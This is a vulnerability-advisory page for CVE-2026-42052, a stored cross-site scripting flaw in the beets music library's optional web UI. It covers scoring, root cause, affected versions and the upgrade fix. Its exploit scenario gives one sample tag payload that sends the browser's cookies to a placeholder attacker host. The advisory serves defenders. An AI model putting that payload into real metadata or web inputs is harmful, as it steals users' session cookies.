Skip to main content

beets EUVDEUVD-2026-27055

| CVE-2026-42052 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-29 https://github.com/beetbox/beets GHSA-3gxm-wfjx-m847
6.0
CVSS 4.0 · Vendor: https://github.com/beetbox/beets
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply music file with malicious metadata tag
  2. Delivery
    Import into beets library via CLI or API
  3. Exploit
    Victim opens web UI with web plugin enabled
  4. Execution
    Underscore template renders raw payload via `<%= ... %>`
  5. Persist
    jQuery `.html()` inserts active HTML into DOM
  6. Impact
    Arbitrary JavaScript executes in victim browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The beets web UI plugin must be explicitly enabled by adding web to the plugins list in the beets configuration file - this is not the default configuration. The attacker must have prior write access to beets library metadata, achievable via: direct CLI access to beet modify; the beets REST API if exposed without authentication controls; or by supplying music files with embedded malicious metadata (e.g., ID3 tags for title, lyrics, or comments) that are imported into the library. The victim must then open and browse the web UI page that renders the poisoned item. Exploitation is limited by: the opt-in web UI plugin requirement, the prerequisite for attacker-controlled metadata write access, and mandatory victim interaction with the web UI (UI:P in CVSS 4.0). Authentication requirements for metadata write access are not independently confirmed from available CVSS data alone - the CVSS 4.0 PR:N suggests no authentication required to plant the payload (consistent with a file-import scenario), but direct API write access may require configuration-dependent authentication.

Impact

The CVSS 4.0 score of 6.0 with vector AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N reflects a network-exploitable flaw with high integrity impact to the vulnerable system, but tempered by specific attack requirements (AT:P - attacker must have previously written malicious metadata) and required user interaction (UI:P). EPSS at 0.05% (14th percentile) strongly aligns with SSVC's 'Exploitation: none' finding, indicating no current threat actor activity. SSVC also rates the flaw 'Automatable: no,' consistent with the two-phase prerequisite: metadata poisoning followed by victim browsing. The CVE is not in CISA KEV. The net picture is a genuine but low-urgency vulnerability: real JavaScript execution is achievable, but the attacker must first gain write access to library metadata and the victim must actively use the web UI, which is not enabled by default. Defenders running beets with the web plugin exposed to untrusted users or networks should prioritize patching; air-gapped or single-user deployments face minimal realistic risk.

Exploit ScenarioDerived

An attacker with write access to the beets library - for example, by supplying a music file with a crafted ID3 title tag such as <img src=x onerror=fetch('https://attacker.example/c?d='+document.cookie)> - persists the payload in the database. When any user with access to the beets web UI browses the library and the Backbone view renders that item, the Underscore template outputs the raw payload and jQuery's .html() activates it, delivering arbitrary JavaScript in the victim's browser session. No public proof-of-concept exploit has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Stored XSS in the beets music library web UI (versions prior to 2.10.0) allows arbitrary JavaScript execution in a victim's browser when metadata fields such as title, lyrics, or comments contain attacker-controlled HTML payloads. The flaw stems from Underscore.js raw template interpolation (<%= ... %>) feeding untrusted metadata directly into jQuery's .html() DOM insertion method in beetsplug/web/static/beets.js. No active exploitation is confirmed - SSVC rates exploitation as none and EPSS sits at 0.05% (14th percentile) - but the attack is persistent once metadata is poisoned and does not require repeated attacker access.

RemediationAI

Vendor-released patch: beets 2.10.0. Upgrade via pip install --upgrade beets and verify with beet version; the release notes at https://github.com/beetbox/beets/releases/tag/v2.10.0 confirm this release. The fix replaces raw Underscore interpolation (<%= ... %>) with HTML-escaped syntax (<%- ... %>) for untrusted metadata fields and eliminates the unsafe .html() DOM insertion path. Debian LTS users can follow the announcement at https://lists.debian.org/debian-lts-announce/2026/06/msg00030.html for distribution-packaged backports. If immediate upgrade is blocked, the most effective compensating control is disabling the web UI plugin entirely by removing web from the plugins list in your beets configuration file - this eliminates the attack surface with no impact to CLI music-management workflows. Do not expose the beets web UI to untrusted networks as an interim measure; binding it to localhost or placing it behind authenticated reverse proxy reduces but does not eliminate risk if shared metadata is writable by untrusted parties.

Affected VersionsENISA

beets < 2.10.0

Affected Packages

pypi beets fix: 2.10.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

beets (pkg:pip/beets) is a Python-based music collection management tool that includes an optional web UI plugin (beetsplug/web). The web interface renders music item data using Backbone.js models and Underscore.js templates. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause class: Underscore defines two interpolation modes - <%= ... %> for raw, unescaped output and <%- ... %> for HTML-escaped output - and the templates at beetsplug/web/templates/index.html:42-46,87-91 use the unsafe raw form for user-controlled metadata fields. The rendered string is then passed to jQuery's .html() at beetsplug/web/static/beets.js:182,208,220, which parses and activates any embedded HTML/script content. The vulnerable commit is 80cd21554124da07d17a4f962c7d770a4f70d0f2; all releases packaging beets < 2.10.0 are affected per EUVD-2026-27055 and GHSA-3gxm-wfjx-m847.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/beetbox/beets) PRIMARY 6.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Network-accessible web UI, no attacker auth required to plant metadata via file import, scope changes to victim browser, with low C/I impact limited to session context.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE 4.0 MEDIUM

Primary rating from Vendor (https://github.com/beetbox/beets).

CVSS VectorVendor: https://github.com/beetbox/beets

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Patch available
May 04, 2026 - 19:17 EUVD
CVSS changed
May 04, 2026 - 18:22 NVD
6.0 (MEDIUM)
CVE Published
Apr 29, 2026 - 18:29 nvd
MEDIUM 6.0

DescriptionCVE.org

During code logic analyis, an area that may lead to unintended behavior under specific conditions was discovered.

Overview

  • Verified Version: 80cd21554124da07d17a4f962c7d770a4f70d0f2
  • Vulnerability Type: Stored XSS
  • Affected Location: beetsplug/web/templates/index.html:42
  • Trigger Scenario: Metadata fields such as title, lyrics, or comments are rendered with raw template interpolation and inserted into DOM via .html(...).

Root Cause

The bundled web UI uses Underscore template interpolation mode <%= ... %> for untrusted metadata fields. In this runtime, <%= ... %> is raw insertion and HTML escaping is only performed by <%- ... %>. Rendered output is then inserted with .html(...), allowing attacker-controlled markup to become active DOM.

Source-to-Sink Chain

  1. Source (attacker-controlled input)
  • Item metadata values (for example title, lyrics, comments) can contain attacker HTML payload.
  1. Data flow
  • Templates in beetsplug/web/templates/index.html:42-46,87-91 render metadata with <%= ... %>.
  • Underscore runtime defines <%= ... %> as raw interpolation (beetsplug/web/static/underscore.js:890-907).
  1. Sink (security-sensitive action)
  • Frontend inserts rendered template output into DOM via $(this.el).html(this.template(this.model.toJSON())); in beetsplug/web/static/beets.js:182,208,220.

Exploitation Preconditions

  1. Victim opens the web UI page that renders attacker-controlled metadata.
  2. Metadata includes executable HTML/JS payload.

Risk

Stored payload executes in the web UI context and can perform actions available to that origin.

Impact

Attacker can run arbitrary JavaScript in the victim browser, exfiltrate viewable data, and perform UI-driven actions as the victim session.

Remediation

  1. Replace raw interpolation <%= ... %> with escaped output <%- ... %> for untrusted fields.
  2. Avoid .html(...) for untrusted template output; use text-safe rendering.
  3. Sanitize metadata values on ingest and before rendering, including attribute contexts.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Prevalence
Low
niche Python CLI music manager, limited enterprise deployment
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Vendor StatusVendor

SUSE

Severity: Medium

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy